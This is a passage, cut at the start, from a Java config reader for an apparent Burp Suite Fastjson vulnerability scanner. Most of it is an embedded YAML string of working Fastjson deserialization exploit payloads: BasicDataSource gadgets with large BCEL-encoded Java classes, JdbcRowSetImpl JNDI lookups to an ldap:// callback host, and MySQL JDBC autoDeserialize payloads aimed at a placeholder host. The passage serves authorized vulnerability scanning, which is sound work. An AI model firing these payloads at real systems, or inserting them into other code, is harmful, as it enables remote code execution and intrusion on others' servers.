4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A\\\"}}:\\\"x\\\"}\"\n" + 259 | " - \"{{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"x\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A\\\"}}:\\\"x\\\"}\"\n" + 260 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\"},\\\"x\\\":{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"y\\\":{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"c\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A\\\",\\\"$ref\\\":\\\"$.x.y.c.connection\\\"}}}}\"\n" + 261 | " # 远程命令扩展\n" + 262 | " remoteCmdExtension:\n" + 263 | " config:\n" + 264 | " # 插件启动项\n" + 265 | " isStart: true\n" + 266 | " # 提供商\n" + 267 | " provider: \"RemoteCmdScan\"\n" + 268 | " payloads:\n" + 269 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" + 270 | " - \"{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url\\\", \\\"autoCommit\\\":true}\"\n" + 271 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"x\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url/miao1\\\",\\\"autocommit\\\":true}}\"\n" + 272 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"x\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"dns://dnslog-url/miao1\\\",\\\"autocommit\\\":true}}\"\n" + 273 | " - \"{\\\"dataSourceName\\\":\\\"ldap://dnslog-url\\\",\\\"autoCommit\\\":true}\"\n" + 274 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.jdbc.JDBC4Connection\\\",\\\"hostToConnectTo\\\":\\\"dnslog-url\\\",\\\"portToConnectTo\\\":33306,\\\"info\\\":{\\\"user\\\":\\\"demo\\\",\\\"password\\\":\\\"12345\\\",\\\"maxAllowedPacket\\\":\\\"655360\\\",\\\"statementInterceptors\\\":\\\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\\\",\\\"autoDeserialize\\\":\\\"true\\\",\\\"NUM_HOSTS\\\":\\\"1\\\"},\\\"databaseToConnectTo\\\":\\\"dbname\\\",\\\"url\\\":\\\"dnslog-url\\\"}\"\n" + 275 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\\\",\\\"proxy\\\":{\\\"connectionString\\\":{\\\"url\\\":\\\"jdbc:mysql://dnslog-url:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=user\\\"}}}\"\n" + 276 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\\\",\\\"proxy\\\":{\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\\\",\\\"connectionUrl\\\":{\\\"@type\\\":\\\"com.mysql.cj.conf.url.ReplicationConnectionUrl\\\",\\\"masters\\\":[{\\\"host\\\":\\\"dnslog-url\\\"}],\\\"slaves\\\":[],\\\"properties\\\":{\\\"host\\\":\\\"dnslog-url\\\",\\\"user\\\":\\\"user\\\",\\\"dbname\\\":\\\"dbname\\\",\\\"password\\\":\\\"pass\\\",\\\"queryInterceptors\\\":\\\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\\\",\\\"autoDeserialize\\\":\\\"true\\\",\\\"allowLoadLocalInfile\\\":\\\"true\\\"}}}}\"\n" + 277 | "\n" + 278 | "# dnsLog模块\n" + 279 | "dnsLogModule:\n" + 280 | " # 提供商\n" + 281 | " # 声明使用 dnslogs.impl 的哪个类,为该扩展提供服务\n" + 282 | " # 目前集成方法:\n" + 283 | " # DnsLogCn = http://dnslog.cn的接口\n" + 284 | " # BurpDnsLog = burp自带的dnslog接口\n" + 285 | " # CeyeDnslog = http://ceye.io的接口\n" + 286 | " # EyesDnslog = https://eyes.sh的接口\n" + 287 | "\n" + 288 | " # provider 填入上述任意平台名称即可\n" + 289 | " provider: \"BurpDnsLog\"\n" + 290 | " CeyeDnslog:\n" + 291 | " token: \"\"\n" + 292 | " Identifier: \"\"\n" + 293 | " EyesDnslog:\n" + 294 | " token: \"\"\n" + 295 | " Identifier: \"\""; 296 | private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException { 297 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator); 298 | String path = ""; 299 | CreateConfig(callbacks); 300 | path = callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml"; 301 | File f = new File(path); 302 | this.configPath = f.toPath(); 303 | properties = new Yaml().load(new FileInputStream(f)); 304 | // reloadConfig(callbacks); 305 | } 306 | 307 | public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) { 308 | if (instance == null) { 309 | try { 310 | instance = new YamlReader(callbacks); 311 | } catch (FileNotFoundException e) { 312 | callbacks.printError(e.toString()); 313 | } 314 | }else { 315 | instance.reloadConfig(callbacks); 316 | } 317 | return instance; 318 | } 319 | // 新增:重新加载配置文件方法 320 | public static synchronized void reloadConfig(IBurpExtenderCallbacks callbacks) { 321 | try { 322 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator); 323 | configPath = Paths.get(callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml"); 324 | File file = configPath.toFile(); 325 | if (file.exists()) { 326 | long currentModified = file.lastModified(); 327 | if (currentModified > lastModified) { 328 | FileInputStream fis = new FileInputStream(file); 329 | // 显式指定 UTF-8 编码读取 330 | InputStreamReader reader = new InputStreamReader(fis, StandardCharsets.UTF_8); 331 | properties = new Yaml().load(reader); 332 | lastModified = currentModified; 333 | callbacks.printOutput("配置文件已热更新"); 334 | } 335 | } 336 | } catch (IOException e) { 337 | callbacks.printError("配置重载失败: " + e.getMessage()); 338 | } 339 | } 340 | public void CreateConfig(IBurpExtenderCallbacks callbacks){ 341 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator); 342 | String p = callbacks.getExtensionFilename().substring(0, lastIndexOf); 343 | Path path = Paths.get(p); 344 | Path resourceDir = path.resolve("resources"); 345 | PrintWriter printWriter = new PrintWriter(callbacks.getStdout(), true); 346 | 347 | try { 348 | Files.createDirectories(resourceDir); 349 | Path configFile = resourceDir.resolve("config.yml"); 350 | if (!Files.exists(configFile)){ 351 | Files.write(configFile, CONFIG_CONTENTS.getBytes()); 352 | printWriter.println("config.yml文件已生成"); 353 | 354 | }else { 355 | printWriter.println("config.yml文件已存在,无需重新生成"); 356 | } 357 | 358 | } catch (IOException e) { 359 | new PrintWriter(callbacks.getStderr(), true).println("配置文件生成失败: " + e.getMessage()); 360 | } 361 | 362 | } 363 | 364 | /** 365 | * 获取yaml属性 366 | * 可通过 "." 循环调用 367 | * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d") 368 | * 369 | * @param key 370 | * @return 371 | */ 372 | public Object getValueByKey(String key) { 373 | String separator = "."; 374 | String[] separatorKeys = null; 375 | if (key.contains(separator)) { 376 | separatorKeys = key.split("\\."); 377 | } else { 378 | return properties.get(key); 379 | } 380 | Map> finalValue = new HashMap<>(); 381 | for (int i = 0; i < separatorKeys.length - 1; i++) { 382 | if (i == 0) { 383 | finalValue = (Map) properties.get(separatorKeys[i]); 384 | continue; 385 | } 386 | if (finalValue == null) { 387 | break; 388 | } 389 | finalValue = (Map) finalValue.get(separatorKeys[i]); 390 | } 391 | return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]); 392 | } 393 | 394 | public String getString(String key) { 395 | return String.valueOf(this.getValueByKey(key)); 396 | } 397 | 398 | public String getString(String key, String defaultValue) { 399 | if (null == this.getValueByKey(key)) { 400 | return defaultValue; 401 | } 402 | return String.valueOf(this.getValueByKey(key)); 403 | } 404 | 405 | public Boolean getBoolean(String key) { 406 | return (boolean) this.getValueByKey(key); 407 | } 408 | 409 | public Integer getInteger(String key) { 410 | return (Integer) this.getValueByKey(key); 411 | } 412 | 413 | public double getDouble(String key) { 414 | return (double) this.getValueByKey(key); 415 | } 416 | 417 | public List getStringList(String key) { 418 | return (List) this.getValueByKey(key); 419 | } 420 | 421 | public LinkedHashMap getLinkedHashMap(String key) { 422 | return (LinkedHashMap) this.getValueByKey(key); 423 | } 424 | } --------------------------------------------------------------------------------